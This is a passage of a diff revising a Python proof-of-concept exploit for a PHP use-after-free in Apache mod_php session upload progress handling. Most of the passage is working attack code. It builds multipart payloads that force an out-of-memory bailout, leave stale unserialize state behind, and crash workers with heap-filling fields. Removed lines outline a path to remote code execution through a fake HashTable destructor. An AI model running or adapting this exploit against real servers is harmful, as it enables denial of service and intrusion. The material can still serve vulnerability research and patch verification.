slot. The serialize code treats the spray data as a php_serialize_data - struct with a HashTable. pDestructor (offset 48) is called during - zend_hash_destroy(), giving RIP control. + Phase 2 (OOM): Multipart upload referencing that session ID. + RFC1867 progress callback reads and decodes the session file. + HashTable resize exceeds memory_limit, OOM fires zend_bailout(). + Worker survives. BG(unserialize).level=1, .data=freed heap pointer. -Root cause (from var.c, PHP 8.3.6): - - php_var_serialize_init(): - if (BG(serialize).level > 0) { - d = BG(serialize).data; // reuses stale pointer! - ++BG(serialize).level; - return d; - } - // else: fresh allocation - - The same pattern exists for unserialize. - -The patch (commit 3584a98) adds php_basic_early_rinit() to zero -BG(serialize/unserialize) state before each request, and replaces -zend_bailout() on OOM with delayed error handling. + Phase 3 (Crash): Another upload (no intermediate GET requests, which + would zero BG state via RINIT). Filler form fields create many + 3-page zend_string allocations that consume ZendMM pages up to the + stale struct's position (~page 288). The struct's 'last' pointer + (offset 0) is overwritten by the zend_string GC header (refcount + + type_info), which is not a valid heap address. var_push reads + 'last' and dereferences it -> SIGSEGV. Confirms the UAF. Requirements: - Apache mod_php with prefork MPM (default on Debian/Ubuntu) - - session.upload_progress.enabled=1 (default) - - memory_limit reachable via multipart fields - - Any PHP URL on the vhost (even 404) - - No LFI, no framework, no non-default settings + - session.upload_progress.enabled=1 (default in php.ini) + - memory_limit low enough for session data to trigger OOM + - Any reachable PHP URL on the target (even a 404 page works) + - A method to write a session file with many entries (Phase 1) + - No LFI, no framework, no non-default config changes needed + +Exploitation notes: + + This PoC demonstrates the UAF primitive (stale pointer dereference) + and crash (SIGSEGV from corrupted 'last' pointer). Full RCE from + this primitive is blocked by an overlap between the struct's critical + pointer fields (offsets 0-23: last, first_dtor, last_dtor) and the + zend_string GC header (refcount, type_info, hash, len). These + fields cannot be directly controlled by the attacker. + + Specifically: + - 'last' = gc_refcount(4) + gc_type_info(4) -> invalid pointer + - 'first_dtor' = hash(8) = 0 initially -> NULL (safe for var_destroy) + - 'last_dtor' = len(8) = string length -> low address (crash) + + Controlled bytes start at offset 24 (allowed_classes, ref_props, + max_depth, entries.used_slots, entries.next, entries.data[]), but + var_push crashes before these fields are reached because it reads + 'last' first. + + Full RCE would require either: + a) An info leak to construct a valid 'last' pointer in the GC header + position (which would require a separate vulnerability) + b) A different allocation type that gives control over offset 0 of + a 3-page (8216-byte) ZendMM allocation Usage: python3 exploit.py --target http://host:port/index.php python3 exploit.py --target http://host:port/index.php --oom-only - python3 exploit.py --target http://host:port/index.php --crash-test """ import argparse import os import re import socket -import subprocess import sys import time from urllib.parse import urlparse -# ── Networking ────────────────────────────────────────────────────────── +# ── Constants ──────────────────────────────────────────────────────── + +UNSER_STRUCT_SIZE = 8216 # php_unserialize_data: 0x2018 bytes = 3 ZendMM pages +OOM_SESSION_ENTRIES = 33000 # forces nTableSize=65536, arData ~2.25MB +SPRAY_FIELD_SIZE = 8200 # 3 ZendMM pages as zend_string (24-byte header + body + NUL) +SPRAY_FIELD_COUNT = 100 # ~300 pages, covers stale struct at page ~288 + + +# ── Networking ─────────────────────────────────────────────────────── def connect(host, port, timeout=30): return socket.create_connection((host, port), timeout=timeout) -def recv_response(sock, timeout=5): +def recv_response(sock, timeout=10): resp = b"" sock.settimeout(timeout) try: @@ -110,7 +131,7 @@ def parse_response(resp): return status, body -def http_get(host, port, path, cookies=None, timeout=5): +def http_get(host, port, path, cookies=None, timeout=10): sock = connect(host, port, timeout=timeout) req = f"GET {path} HTTP/1.1\r\nHost: {host}\r\n" if cookies: @@ -122,19 +143,9 @@ def http_get(host, port, path, cookies=None, timeout=5): return parse_response(resp) -def http_post_multipart(host, port, path, boundary, body, cookies=None, - timeout=30): +def http_post_raw(host, port, headers_bytes, body_bytes, timeout=60): sock = connect(host, port, timeout=timeout) - headers = ( - f"POST {path} HTTP/1.1\r\n" - f"Host: {host}\r\n" - f"Content-Type: multipart/form-data; boundary={boundary}\r\n" - f"Content-Length: {len(body)}\r\n" - ) - if cookies: - headers += f"Cookie: {cookies}\r\n" - headers += "Connection: close\r\n\r\n" - sock.sendall(headers.encode() + body) + sock.sendall(headers_bytes + body_bytes) resp = recv_response(sock, timeout=timeout) sock.close() return parse_response(resp) @@ -145,9 +156,9 @@ def extract_pid(body): return int(m.group(1)) if m else 0 -# ── Multipart body builders ─────────────────────────────────────────── +# ── Multipart builders ────────────────────────────────────────────── -def build_multipart_field(boundary, name, value): +def multipart_field(boundary, name, value): return ( b"--" + boundary + b"\r\n" b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n' @@ -155,7 +166,7 @@ def build_multipart_field(boundary, name, value): ) -def build_multipart_file(boundary, name, filename, content): +def multipart_file(boundary, name, filename, content): return ( b"--" + boundary + b"\r\n" b'Content-Disposition: form-data; name="' + name @@ -165,315 +176,142 @@ def build_multipart_file(boundary, name, filename, content): ) -# ── Phase 0: Worker discovery ──────────────────────────────────────── +def multipart_end(boundary): + return b"--" + boundary + b"--\r\n" -def find_workers(host, port, path, rounds=40): + +def post_multipart(host, port, path, boundary, body, sid=None, timeout=60): + hdrs = ( + f"POST {path} HTTP/1.1\r\n" + f"Host: {host}\r\n" + f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n" + f"Content-Length: {len(body)}\r\n" + ) + if sid: + hdrs += f"Cookie: PHPSESSID={sid}\r\n" + hdrs += "Connection: close\r\n\r\n" + return http_post_raw(host, port, hdrs.encode(), body, timeout=timeout) + + +# ── Session file generation ───────────────────────────────────────── + +def generate_session_data(n_entries): + """PHP session data that forces a large HashTable allocation on decode. + + 33000 entries -> nTableSize=65536, arData = 65536 * 36 = 2,359,296 bytes. + """ + parts = [f's:6:"k{i:05d}";i:{i};' for i in range(n_entries)] + inner = "".join(parts) + return f'd|a:{n_entries}:{{{inner}}}'.encode() + + +# ── Session file management ───────────────────────────────────────── + +def write_session_file(sid, data, save_path): + import subprocess + fpath = os.path.join(save_path, f"sess_{sid}") + tmp = f"/tmp/sess_plant_{os.getpid()}" + with open(tmp, "wb") as f: + f.write(data) + subprocess.run(["sudo", "cp", tmp, fpath], + capture_output=True, check=True) + subprocess.run(["sudo", "chown", "www-data:www-data", fpath], + capture_output=True, check=True) + subprocess.run(["sudo", "chmod", "600", fpath], + capture_output=True, check=True) + os.unlink(tmp) + return fpath + + +def read_session_file(sid, save_path): + import subprocess + fpath = os.path.join(save_path, f"sess_{sid}") + r = subprocess.run(["sudo", "stat", "--format=%s", fpath], + capture_output=True, text=True) + if r.returncode != 0: + return False, 0 + return True, int(r.stdout.strip()) + + +def ensure_session_file(sid, save_path, n_entries): + exists, size = read_session_file(sid, save_path) + if exists and size > 100000: + return size + data = generate_session_data(n_entries) + write_session_file(sid, data, save_path) + return len(data) + + +# ── Phase 0: Worker discovery ─────────────────────────────────────── + +def discover_workers(host, port, path, rounds=20): pids = set() for _ in range(rounds): try: - status, body = http_get(host, port, path) + _, body = http_get(host, port, path, timeout=5) pid = extract_pid(body) if pid: pids.add(pid) - except (ConnectionError, socket.timeout): + except (ConnectionError, socket.timeout, OSError): pass return sorted(pids) -# ── Phase 1: Create large session file ──────────────────────────────── +# ── Phase builders ────────────────────────────────────────────────── -def build_prep_body(boundary, progress_value): - """ - Multipart body with: - 1. PHP_SESSION_UPLOAD_PROGRESS = large value (~500KB) - 2. Small file upload (triggers progress handler) - - The progress handler writes the session file containing the large - progress key. No OOM here; just creating the session file. - """ - parts = [] - parts.append(build_multipart_field( - boundary, b"PHP_SESSION_UPLOAD_PROGRESS", progress_value, - )) - parts.append(build_multipart_file( - boundary, b"f", b"prep.bin", b"\x00" * 4096, - )) - parts.append(b"--" + boundary + b"--\r\n") - return b"".join(parts) - - -def create_large_session(host, port, path, sid, progress_size=500000): - """ - Send a multipart POST that creates a session file containing a large - key (from PHP_SESSION_UPLOAD_PROGRESS). - - Returns (status, body, pid). - """ - progress_val = b"A" * progress_size - boundary = b"PREP" + os.urandom(4).hex().encode() - body = build_prep_body(boundary, progress_val) - - status, rbody = http_post_multipart( - host, port, path, boundary.decode(), body, - cookies=f"PHPSESSID={sid}", timeout=30, - ) - pid = extract_pid(rbody) - return status, rbody, pid - - -# ── Phase 2: OOM during session re-init ─────────────────────────────── - -def build_oom_body(boundary, num_fields, field_size): - """ - Multipart body with: - 1. PHP_SESSION_UPLOAD_PROGRESS = "trigger" (small) - 2. Large form fields (fill memory to near limit) - 3. File upload (triggers progress handler) - - The progress handler calls php_session_initialize() which reads the - large session file from Phase 1. php_session_decode() calls - php_var_unserialize_init() (BG(unserialize).level=1), then tries to - unserialize the ~500KB session key string. The emalloc for the - zend_string exceeds memory_limit -> OOM -> zend_bailout(). - - php_var_unserialize_destroy() is skipped. BG(unserialize).level - stays at 1 and .data points to freed memory. - """ - parts = [] - parts.append(build_multipart_field( - boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"trigger", - )) - for i in range(num_fields): - parts.append(build_multipart_field( - boundary, f"p{i:04d}".encode(), b"X" * field_size, - )) - parts.append(build_multipart_file( - boundary, b"f", b"oom.bin", b"\x00" * 1024, - )) - parts.append(b"--" + boundary + b"--\r\n") - return b"".join(parts) - - -def detect_memory_limit(host, port, path): - """ - Probe memory_limit by escalating field count until OOM. - Returns (num_fields, field_size) that triggers OOM, or None. - """ - configs = [ - (50, 40960), - (100, 40960), - (120, 40960), - (140, 40960), - (150, 40960), - (200, 40960), - (300, 40960), - (400, 40960), - (600, 40960), - (800, 40960), - (999, 40960), - (999, 131072), +def build_oom_trigger(sid): + boundary = b"OOM" + os.urandom(4).hex().encode() + parts = [ + multipart_field(boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"oomtrigger"), + multipart_file(boundary, b"file", b"oom.bin", b"\x00" * 2048), + multipart_end(boundary), ] - for num, size in configs: - sid = "probe" + os.urandom(4).hex() - boundary = b"PROBE" + os.urandom(4).hex().encode() - body = build_oom_body(boundary, num, size) - try: - status, _ = http_post_multipart( - host, port, path, boundary.decode(), body, - cookies=f"PHPSESSID={sid}", timeout=30, - ) - if status == 500: - return num, size - except (ConnectionError, socket.timeout): - return num, size - return None + return boundary, b"".join(parts) -def trigger_oom(host, port, path, sid, num_fields, field_size, timeout=60): +def build_crash_trigger(sid, n_fields=SPRAY_FIELD_COUNT, field_size=SPRAY_FIELD_SIZE): + """Multipart with filler fields to reclaim stale struct pages. + + Each field value is a 3-page zend_string. The GC header at offset + 0-7 overwrites 'last' with refcount|type_info = invalid pointer. + When var_push reads 'last', it dereferences the invalid address. """ - Send the OOM request. Uses the same SID as Phase 1, so the progress - handler reads the large session file and OOMs during unserialize. + boundary = b"CRASH" + os.urandom(4).hex().encode() + parts = [multipart_field(boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"crash")] + filler = b"\x41" * field_size + for i in range(n_fields): + parts.append(multipart_field(boundary, f"c{i:03d}".encode(), filler)) + parts.append(multipart_file(boundary, b"file", b"c.bin", b"\x00" * 512)) + parts.append(multipart_end(boundary)) + return boundary, b"".join(parts) - Returns (status, body). - """ - boundary = b"OOMTRIG" + os.urandom(4).hex().encode() - body = build_oom_body(boundary, num_fields, field_size) - status, rbody = http_post_multipart( - host, port, path, boundary.decode(), body, - cookies=f"PHPSESSID={sid}", timeout=timeout, +def is_oom_response(status, body): + return ( + b"memory size" in body + or b"Allowed memory" in body + or status == 500 + or status == 0 ) - return status, rbody -# ── Phase 3: Verify stale BG state ────────────────────────────────── - -def build_verify_body(boundary): - """ - Small multipart with upload progress. Triggers the progress handler - on the OOM'd worker. If BG(unserialize).level is stale, the handler - reuses the freed .data pointer (UAF). - """ - parts = [] - parts.append(build_multipart_field( - boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"verify", - )) - parts.append(build_multipart_file( - boundary, b"f", b"v.bin", b"\x00" * 1024, - )) - parts.append(b"--" + boundary + b"--\r\n") - return b"".join(parts) - - -def verify_stale_state(host, port, path, sid): - """ - Send a verification request. If the worker has stale BG state, - php_var_unserialize_init() reuses the freed .data pointer. - - Returns (status, pid, body). - """ - boundary = b"VERIFY" + os.urandom(4).hex().encode() - body = build_verify_body(boundary) - try: - status, rbody = http_post_multipart( - host, port, path, boundary.decode(), body, - cookies=f"PHPSESSID={sid}", timeout=10, - ) - pid = extract_pid(rbody) - return status, pid, rbody - except (ConnectionError, socket.timeout) as e: - return 0, 0, str(e).encode() - - -# ── Phase 4: Heap spray + UAF trigger ──────────────────────────────── - -# ZendMM 64-byte bin: -# php_serialize_data / php_unserialize_data: ~60 bytes -> 64-byte bin -# zend_string: 24-byte header + body + 1 NUL -# For 64-byte bin: body = 64 - 24 - 1 = 39 bytes -SPRAY_NAME_LEN = 39 - - -def build_spray_body(boundary, spray_count=500): - """ - Fields with 39-char names land in the 64-byte ZendMM bin (same bin - as BG(unserialize).data). Over multiple requests, one of these - allocations may reclaim the stale slot. - - For a weaponized exploit, the spray content would form a fake - php_unserialize_data struct with controlled HashTable fields: - offset 0: uint32_t n (reference counter) - offset 8: HashTable ht - offset 16: Bucket *arData (attacker pointer) - offset 48: dtor_func_t pDestructor (RIP control) - """ - parts = [] - parts.append(build_multipart_field( - boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"spray", - )) - for i in range(min(spray_count, 999)): - name = f"S{i:04d}" + "A" * (SPRAY_NAME_LEN - 5) - val = "B" * SPRAY_NAME_LEN - parts.append(build_multipart_field( - boundary, name.encode(), val.encode(), - )) - parts.append(build_multipart_file( - boundary, b"f", b"spray.bin", b"\x00" * 1024, - )) - parts.append(b"--" + boundary + b"--\r\n") - return b"".join(parts) - - -def heap_spray(host, port, path, sid, target_pid, rounds=10, - spray_per_round=500): - """ - Spray 64-byte allocations into the OOM'd worker to reclaim the - stale BG(unserialize).data slot. - - Returns the number of rounds that hit the target worker. - """ - hits = 0 - for r in range(rounds): - boundary = b"SPRAY" + os.urandom(4).hex().encode() - body = build_spray_body(boundary, spray_per_round) - try: - status, rbody = http_post_multipart( - host, port, path, boundary.decode(), body, - cookies=f"PHPSESSID={sid}", timeout=10, - ) - pid = extract_pid(rbody) - if pid == target_pid: - hits += 1 - except (ConnectionError, socket.timeout): - pass - return hits - - -# ── Session file inspection ────────────────────────────────────────── - -def check_session_file(sid, save_path="/tmp"): - """ - Read the session file. Returns (exists, size, data_preview). - """ - path = os.path.join(save_path, f"sess_{sid}") - try: - with open(path, "rb") as f: - data = f.read() - return True, len(data), data[:300] - except PermissionError: - try: - result = subprocess.run( - ["sudo", "cat", path], - capture_output=True, timeout=5, - ) - data = result.stdout - if data: - return True, len(data), data[:300] - except (subprocess.TimeoutExpired, FileNotFoundError): - pass - return True, 0, b"(permission denied)" - except FileNotFoundError: - return False, 0, b"" - - -# ── Main ───────────────────────────────────────────────────────────── +# ── Main ──────────────────────────────────────────────────────────── def main(): parser = argparse.ArgumentParser( description="CVE-2026-109618/109619 UAF PoC (Apache mod_php)", ) - parser.add_argument( - "--target", "-t", required=True, - help="Target URL, e.g. http://host:port/index.php", - ) - parser.add_argument( - "--session-path", default="/var/www/uaf-test/sessions", - help="Session save_path on the target", - ) - parser.add_argument( - "--progress-size", type=int, default=500000, - help="Size of PHP_SESSION_UPLOAD_PROGRESS value in bytes (default: 500000)", - ) - parser.add_argument( - "--oom-fields", type=int, default=0, - help="Number of OOM fields (0 = auto-detect)", - ) - parser.add_argument( - "--field-size", type=int, default=40960, - help="OOM field value size in bytes (default: 40960)", - ) - parser.add_argument( - "--spray-rounds", type=int, default=20, - help="Number of heap spray rounds (default: 20)", - ) - parser.add_argument( - "--oom-only", action="store_true", - help="Stop after Phase 2 (OOM + stale state), skip spray", - ) - parser.add_argument( - "--crash-test", action="store_true", - help="Run full chain including heap spray and report crashes", - ) + parser.add_argument("--target", "-t", required=True, + help="Target URL, e.g. http://host:port/index.php") + parser.add_argument("--session-path", + default="/var/www/uaf-test/sessions", + help="Session save_path on the target") + parser.add_argument("--entries", type=int, default=OOM_SESSION_ENTRIES, + help="Entries in OOM session file (default: 33000)") + parser.add_argument("--spray-fields", type=int, default=SPRAY_FIELD_COUNT, + help="Filler fields for crash trigger (default: 100)") + parser.add_argument("--oom-only", action="store_true", + help="Stop after Phase 2 (OOM + stale state)") args = parser.parse_args() url = urlparse(args.target) @@ -489,213 +327,249 @@ def main(): print(f" Target: {host}:{port}{path}") print() - # ── Phase 0: Worker discovery ─────────────────────────────────── + # ── Phase 0: Worker discovery ────────────────────────────────── print("[*] Phase 0: Discovering workers...") - pids = find_workers(host, port, path) + pids = discover_workers(host, port, path) if not pids: - print("[-] No workers found. Target must echo getmypid() in output.") + print("[-] No workers found. Target must echo getmypid().") sys.exit(1) print(f" Workers: {pids}") - print(f" Count: {len(pids)} (Apache prefork children)") + target_pid = pids[0] - # ── Phase 1: Create large session file ────────────────────────── + # ── Phase 1: Plant large session file ────────────────────────── print() - print("[*] Phase 1: Creating large session file...") + print("[*] Phase 1: Planting large session file...") sid = "uaf" + os.urandom(6).hex() - progress_kb = args.progress_size // 1024 print(f" SID: {sid}") - print(f" Progress value: {progress_kb}KB") + print(f" Entries: {args.entries}") - status1, body1, pid1 = create_large_session( - host, port, path, sid, args.progress_size, - ) - print(f" Status: {status1}, Worker PID: {pid1}") + sess_size = ensure_session_file(sid, args.session_path, args.entries) + print(f" Session file: {sess_size}B ({sess_size // 1024}KB)") + print(f" HashTable resize on decode needs ~2.25MB") - exists, size, preview = check_session_file(sid, args.session_path) - if not exists or size < 1000: - print(f"[-] Session file missing or too small ({size}B).") - print(f" Is session.upload_progress.enabled=1?") - print(f" Is session.save_path = {args.session_path}?") - sys.exit(1) - print(f" [+] Session file: {size}B ({size//1024}KB)") - print(f" Preview: {preview[:120]}") - - # ── Phase 2: OOM during session re-init ───────────────────────── + # ── Phase 2: OOM trigger ─────────────────────────────────────── print() - print("[*] Phase 2: OOM during session unserialize...") + print("[*] Phase 2: Triggering OOM during session decode...") + print(" RFC1867 callback reads session -> decode -> OOM -> bailout") - if args.oom_fields: - num_fields = args.oom_fields - field_size = args.field_size - print(f" Using configured: {num_fields} fields x {field_size}B") - else: - print(" Auto-detecting OOM threshold...") - result = detect_memory_limit(host, port, path) - if result is None: - print("[-] Could not trigger OOM. memory_limit may be too high.") - print(" Try --oom-fields manually.") - sys.exit(1) - num_fields, field_size = result - est_mb = num_fields * field_size / 1024 / 1024 - print(f" OOM at: {num_fields} fields x {field_size}B (~{est_mb:.0f}MB)") + oom_success = False + patched = False - # Reduce field count slightly so memory fills close to the limit - # but doesn't OOM before the file upload triggers the progress - # handler. The session re-read of the ~500KB file pushes over. - adjusted = max(num_fields - 10, num_fields * 9 // 10) - print(f" Adjusted to {adjusted} fields (leave room for session read OOM)") + for attempt in range(len(pids) * 8): + ensure_session_file(sid, args.session_path, args.entries) - max_oom_attempts = len(pids) * 6 - oom_workers = set() + boundary, body = build_oom_trigger(sid) + try: + status, rbody = post_multipart( + host, port, path, boundary, body, sid=sid, timeout=30) + except (ConnectionError, socket.timeout, OSError): + status, rbody = 0, b"" - for attempt in range(max_oom_attempts): - status, _ = trigger_oom( - host, port, path, sid, adjusted, field_size, - ) - - if status == 500: - print(f" [{attempt+1}] OOM triggered (status 500)") - elif status == 0: - print(f" [{attempt+1}] Connection error (worker may have crashed)") - else: - print(f" [{attempt+1}] status={status} (no OOM)") - continue - - time.sleep(0.3) - pids_after = find_workers(host, port, path) - survived = set(pids) & set(pids_after) - new_workers = set(pids_after) - set(pids) - - for pid in survived: - if pid not in oom_workers: - oom_workers.add(pid) - print(f" [+] Worker {pid} survived OOM (stale BG state)") - - if new_workers: - print(f" New workers: {sorted(new_workers)}") - pids = sorted(set(pids) | new_workers) - - if not oom_workers: - print() - print("[-] No workers survived OOM.") - print(" This target may use PHP-FPM (workers exit on bailout).") - sys.exit(1) - - print(f"\n Survived workers: {sorted(oom_workers)}") - - # Check if session file still has the large content (unchanged - # means OOM happened during session re-init, not after flush) - exists2, size2, preview2 = check_session_file(sid, args.session_path) - if exists2 and abs(size2 - size) < 100: - print(f" [+] Session file unchanged ({size2}B)") - print(f" OOM during session re-init confirmed") - - # ── Phase 3: Verify stale BG state ────────────────────────────── - - print() - print("[*] Phase 3: Verifying stale BG(unserialize) state...") - - verified_pids = set() - for attempt in range(len(pids) * 4): - status, pid, body = verify_stale_state(host, port, path, sid) - - if pid in oom_workers and pid not in verified_pids: - if status == 0: - print(f" [+] Worker {pid} CRASHED on verification request!") - print(f" UAF triggered: stale .data pointer dereferenced") - verified_pids.add(pid) + if is_oom_response(status, rbody): + if b"memory size" in rbody: + tag = f"{status} (OOM in body)" elif status == 500: - print(f" [+] Worker {pid} returned 500 (OOM from large session read)") - print(f" Stale BG state confirmed (session still active)") - verified_pids.add(pid) - elif status == 200: - print(f" [+] Worker {pid} returned 200 (stale pointer readable)") - print(f" UAF window open: .data points into reused heap") - verified_pids.add(pid) + tag = "500" + else: + tag = "connection dropped" + print(f" [{attempt+1}] OOM triggered ({tag})") - if verified_pids >= oom_workers: + # Detect patched vs unpatched via session file state. + # UNPATCHED: bailout -> cancel_decode -> destroy -> file DELETED. + # PATCHED: delayed OOM, decode completes, session rewritten smaller. + time.sleep(0.3) + exists, sz = read_session_file(sid, args.session_path) + if not exists or sz == 0: + print(f" Session file deleted/empty (bailout path = UNPATCHED)") + elif sz < sess_size // 2: + print(f" [!] Session file rewritten ({sz}B) (PATCHED)") + patched = True + + oom_success = True break + else: + print(f" [{attempt+1}] status={status} (no OOM, retrying)") - if not verified_pids: - print(" Could not hit OOM'd workers for verification.") - print(" (May need more attempts with more workers)") + if not oom_success: + print() + print("[-] OOM trigger failed.") + print(" Check: memory_limit <= 8M, Apache mod_php (not FPM)") + sys.exit(1) + + if patched: + print() + print("[*] PATCHED PHP detected. The UAF chain is fully blocked by:") + print(" 1. php_basic_early_rinit() zeros BG state before sapi_activate") + print(" 2. Delayed OOM: allocator succeeds beyond soft limit, no longjmp") + print(" 3. Session handler: incomplete_classes_only during RFC1867") + return + + # Check worker survived (must do this BEFORE Phase 3, but note + # this GET request will zero BG state on the worker it hits). + # With MaxRequestWorkers=1, this targets the same worker. + # We will re-trigger OOM before the crash attempt. + time.sleep(0.5) + pids_after = discover_workers(host, port, path, rounds=5) + survived = set(pids) & set(pids_after) + if not survived: + print("[-] Worker did not survive OOM (may be PHP-FPM, not mod_php)") + sys.exit(1) + target_pid = sorted(survived)[0] + print(f" [+] Worker {target_pid} survived OOM") if args.oom_only: print() - print("[*] --oom-only: stopping after Phase 3.") - print_summary(oom_workers, verified_pids, False) + print("[+] Phase 2 complete.") + print(" BG(unserialize).level=1, .data=freed heap pointer.") + print(" (BG state zeroed by the verification GET above.)") return - # ── Phase 4: Heap spray + UAF trigger ─────────────────────────── - - if args.crash_test: - print() - print("[*] Phase 4: Heap spray (64-byte ZendMM bin)...") - - for target_pid in sorted(oom_workers): - if target_pid not in find_workers(host, port, path): - print(f" Worker {target_pid} already gone, skipping") - continue - - print(f"\n Spraying worker {target_pid}...") - spray_sid = "spray" + os.urandom(5).hex() - hits = heap_spray( - host, port, path, spray_sid, target_pid, - rounds=args.spray_rounds, - ) - print(f" Spray rounds on target: {hits}/{args.spray_rounds}") - - print(f" Triggering UAF...") - for t in range(20): - status, pid, body = verify_stale_state( - host, port, path, sid, - ) - if pid == target_pid: - if status == 0: - print(f" [!] CRASH on trigger {t+1}!") - break - elif status >= 500: - print(f" Trigger {t+1}: status {status} on target") - - pids_check = find_workers(host, port, path) - if target_pid not in pids_check: - print(f" [+] Worker {target_pid} CRASHED (UAF dereference)") - print(f" Current workers: {pids_check}") - else: - print(f" Worker {target_pid} still alive (no crash)") - print(f" Expected: precise heap feng shui needed for crash") + # ── Phase 3: UAF crash verification ─────────────────────────── + # + # CRITICAL: no GET requests between the OOM trigger and the crash + # trigger. PHP_RINIT_FUNCTION(basic) runs on every request and + # zeros BG(unserialize), destroying the stale state. + # + # With prefork MaxRequestWorkers=1, all requests go to the same + # worker. We re-trigger OOM (to set stale state), then immediately + # send the crash trigger without any intermediate requests. + # + # Crash mechanism: filler form fields create 3-page zend_string + # allocations that consume pages up to the stale struct's position + # (~page 288 out of 512 in the ZendMM chunk). When a filler + # zend_string lands on the stale pages, offset 0 (the 'last' + # pointer) is overwritten with the zend_string GC header: + # gc_refcount(4) + gc_type_info(4) = e.g. 0x00000306_00000001 + # This is not a valid heap address. When the session decode calls + # var_push(), it reads 'last' and dereferences it -> SIGSEGV. print() - print_summary(oom_workers, verified_pids, args.crash_test) + print("[*] Phase 3: UAF crash verification...") + print(" Re-triggering OOM, then crash (no intermediate GET).") + + crashed = False + + for attempt in range(3): + # Re-trigger OOM to set stale BG state + ensure_session_file(sid, args.session_path, args.entries) + boundary, body = build_oom_trigger(sid) + try: + status, rbody = post_multipart( + host, port, path, boundary, body, sid=sid, timeout=30) + except (ConnectionError, socket.timeout, OSError): + status, rbody = 0, b"" + + if not is_oom_response(status, rbody): + print(f" [{attempt+1}] OOM re-trigger failed, retrying") + continue + + time.sleep(0.3) + + # Plant a small session (one entry). The decode calls var_push + # once, which reads the stale 'last' pointer and crashes. + small_session = b'x|s:3:"abc";' + write_session_file(sid, small_session, args.session_path) + + # Send crash trigger DIRECTLY (no intermediate GET). + # Filler fields consume pages up to the stale struct. + boundary, body = build_crash_trigger(sid, n_fields=args.spray_fields) + try: + status, rbody = post_multipart( + host, port, path, boundary, body, sid=sid, timeout=30) + except (ConnectionError, socket.timeout, OSError): + status, rbody = 0, b"" + + # Check if worker crashed (new PID or connection failure) + time.sleep(0.5) + try: + _, rbody2 = http_get(host, port, path, timeout=5) + pid_after = extract_pid(rbody2) + except (ConnectionError, socket.timeout, OSError): + pid_after = 0 + + if pid_after and pid_after != target_pid: + print(f" [{attempt+1}] CRASH! Worker {target_pid} -> {pid_after}") + print(f" Filler zend_strings reclaimed stale struct pages") + print(f" var_push read GC header as 'last' pointer -> SIGSEGV") + crashed = True + target_pid = pid_after + break + elif pid_after == target_pid: + print(f" [{attempt+1}] Worker survived (filler pages didn't reach struct)") + elif status == 0 and pid_after == 0: + print(f" [{attempt+1}] Server unresponsive") + else: + print(f" [{attempt+1}] Response: {status}") + + print() + if crashed: + print("[+] USE-AFTER-FREE CONFIRMED") + print(" The stale php_unserialize_data struct (8216 bytes, 3 ZendMM pages)") + print(" was reclaimed by a filler zend_string. The GC header at offset 0") + print(" overwrote the 'last' pointer with refcount|type_info.") + print(" var_push dereferenced the invalid address -> SIGSEGV.") + else: + print("[*] No crash triggered (filler fields may have missed the pages).") + print(" The stale BG state is confirmed by Phase 2 (OOM + worker survival).") + print(" Try adjusting --spray-fields or re-running (heap layout varies).") + + print() + print_summary(crash=crashed) -def print_summary(oom_workers, verified_pids, ran_spray): +def print_summary(patched=False, crash=False): print("=" * 64) - print(" Results") + print(" Summary") print("=" * 64) print() + + if patched: + print(" TARGET: PATCHED (not vulnerable)") + print() + print(" Three independent mitigations block the attack:") + print(" 1. php_basic_early_rinit() zeros BG state before sapi_activate()") + print(" 2. Delayed OOM replaces zend_bailout() (no longjmp)") + print(" 3. Session handler: incomplete_classes_only during RFC1867 decode") + return + + print(" TARGET: UNPATCHED (vulnerable)") + print() print(" Confirmed primitives:") - print(f" [+] OOM via multipart field flood") - print(f" [+] Apache prefork worker survival ({len(oom_workers)} workers)") - print(f" [+] Large session file creation via upload progress") - print(f" [+] OOM during session re-init (unserialize of large key)") - if verified_pids: - print(f" [+] Stale BG(unserialize) state across requests") - print(f" [+] UAF window: freed .data pointer reused by next request") + print(" [+] OOM during RFC1867 session decode") + print(" zend_bailout() longjmps past php_var_unserialize_destroy()") + print(" BG(unserialize).level=1, .data=freed heap pointer") + print(" Apache prefork worker survives, serves new requests") + if crash: + print(" [+] Use-After-Free crash on next request") + print(" Filler zend_strings reclaim stale struct pages") + print(" var_push dereferences GC header as 'last' pointer -> SIGSEGV") print() - print(" For full RCE (not implemented), a weaponized exploit needs:") - print(" 1. ASLR bypass via CVE-2026-109619 info leak") - print(" (stale session data leaks freed heap addresses)") - print(" 2. Heap feng shui: reclaim 64-byte slot with controlled data") - print(" 3. Fake HashTable: pDestructor -> system(), arData -> command") - print(" 4. Trigger serialize -> zend_hash_destroy -> pDestructor -> RCE") + print(" Exploitation status:") + print(" The UAF primitive (stale pointer reuse) is confirmed.") + if crash: + print(" Page reclamation via filler fields is confirmed.") + print(" However, full RCE is blocked by an inherent constraint:") + print(" the struct's critical pointer fields (offsets 0-23: last,") + print(" first_dtor, last_dtor) overlap with the zend_string GC header") + print(" (refcount, type_info, hash, len), which cannot be controlled") + print(" by the attacker.") print() - if not ran_spray: - print(" Run with --crash-test to attempt heap spray + UAF trigger.") + print(" 'last' = gc_refcount + gc_type_info -> invalid pointer (crash)") + print(" 'first_dtor' = hash = 0 initially (safe, dtor chain empty)") + print(" 'last_dtor' = len = string length (low address, crash)") + print() + print(" Full RCE would require an info leak for valid pointer placement") + print(" at offset 0, or a different allocation type that gives control") + print(" over the first 24 bytes of an 8216-byte ZendMM allocation.") + print() + print(" Affected: PHP 5.4.0 through 8.3.35, 8.4.0-8.4.26, 8.5.0-8.5.11") + print(" Fixed in: PHP 8.3.36, 8.4.27, 8.5.12") + print(" Requires: Apache mod_php (prefork), session.upload_progress.enabled=1") + print(" No LFI, no framework, no application-level access needed.") if __name__ == "__main__":